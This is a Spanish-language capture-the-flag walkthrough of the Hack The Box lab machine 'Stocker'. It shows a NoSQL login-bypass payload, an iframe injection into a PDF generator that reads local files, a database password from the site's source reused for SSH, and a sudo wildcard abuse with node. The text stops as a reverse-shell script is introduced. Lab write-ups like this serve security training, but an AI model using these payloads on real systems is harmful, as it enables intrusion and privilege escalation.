En Stocker realizamos Bypass al login del sitio, una vez dentro, logramos leer archivos locales modificando los parametros para la creacion de un PDF mediante un iframe lo que nos permitio acceder por SSH. Finalmente “explotamos” una wildcard y ejecutamos codigo con el comando node lo que nos dio acceso como root.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.129.4.125
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 3d12971d86bc161683608f4f06e6d54e (RSA)|256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
El subdominio muestra unicamente un formulario de login.
Ademas observamos que Webppalyzer muestra Express y NodeJS como tecnologias utilizadas por el sitio.
Tambien se muestra Express en los headers en BurpSuite.
Bypass Authentication
Intentamos realizar bypass utilizando payloads NoSQL, en formato JSON logramos ingresar con uno de los payloads.
1
{"username":{"$ne":null},"password":{"$ne":null}}
Se muestran varios productos y un boton para el carrito de compras.
Los productos se muestran en el carrito.
Al enviar nuestra orden observamos un nuevo mensaje.
En este ultimo se muestra un enlace hacia un PDF con los detalles de la compra.
Reading Files
Al analizar la solicitud de la orden, se observan distintos parametros que luego se muestran en el PDF generado, el cual se muestra en la respuesta.
Tras modificar los distintos valores en la solicitud de la orden, estos se muestran en el PDF generado, aunque el valor de la imagen y descripcion parecen no ser utilizados.
Modificamos los parametros con etiquetas HTML, unicamente el valor del parametro ’title’ cambia.
Utilizando la etiqueta <iframe/> logramos obtener el archivo /etc/passwd.
Modificando los estilos y el iframe logramos obtener el archivo anterior completo. Encontramos al usuario angoose y mongodb.
index.js
Enumerando y adivinando los directorios de /var/www, logramos obtener el codigo fuente del sitio.
Encontramos credenciales para la base de datos mongodb.
1
2
3
4
5
6
7
8
9
10
11
12
[..snip..]constapp=express();constport=3000;// TODO: Configure loading from dotenv for production
constdbURI="mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";app.use(express.json());app.use(express.urlencoded({extended:false}));[..snip..]
Utilizando las credenciales por SSH logramos obtener nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ stocker ssh angoose@stocker.htb # : IHeardPassphrasesArePrettySecureangoose@stocker.htb's password:
The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$ whoami
angoose
angoose@stocker:~$ ls
user.txt
angoose@stocker:~$ cat user.txt
46312da148f6d8ec5f9cfea078aa4c0c
angoose@stocker:~$
Privesc
Tras ejecutar sudo -l -l observamos que es posible ejecutar node a cualquier archivo .js de la carpeta /usr/local/scripts/.
1
2
3
4
5
6
7
8
9
10
11
12
13
angoose@stocker:~$ sudo -l -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
Sudoers entry:
RunAsUsers: ALL
Commands:
/usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$
Sin embargo no tenemos permisos de escritura dentro de esta carpeta.
1
2
3
4
5
6
7
8
9
10
11
12
13
angoose@stocker:/usr/local/scripts$ ls -lah
total 32K
drwxr-xr-x 3 root root 4.0K Dec 6 10:33 .
drwxr-xr-x 11 root root 4.0K Dec 6 10:33 ..
-rwxr-x--x 1 root root 245 Dec 6 09:53 creds.js
-rwxr-x--x 1 root root 1.6K Dec 6 09:53 findAllOrders.js
-rwxr-x--x 1 root root 793 Dec 6 09:53 findUnshippedOrders.js
drwxr-xr-x 2 root root 4.0K Dec 6 10:33 node_modules
-rwxr-x--x 1 root root 1.4K Dec 6 09:53 profitThisMonth.js
-rwxr-x--x 1 root root 623 Dec 6 09:53 schema.js
angoose@stocker:/usr/local/scripts$ echo"#" > file.js
-bash: file.js: Permission denied
angoose@stocker:/usr/local/scripts$
Si observamos bien el comando especificado en sudoers contiene una wildcar la cual podemos explotar.
Iniciamos creando un archivo .js que contiene la ejecucion de una shell inversa.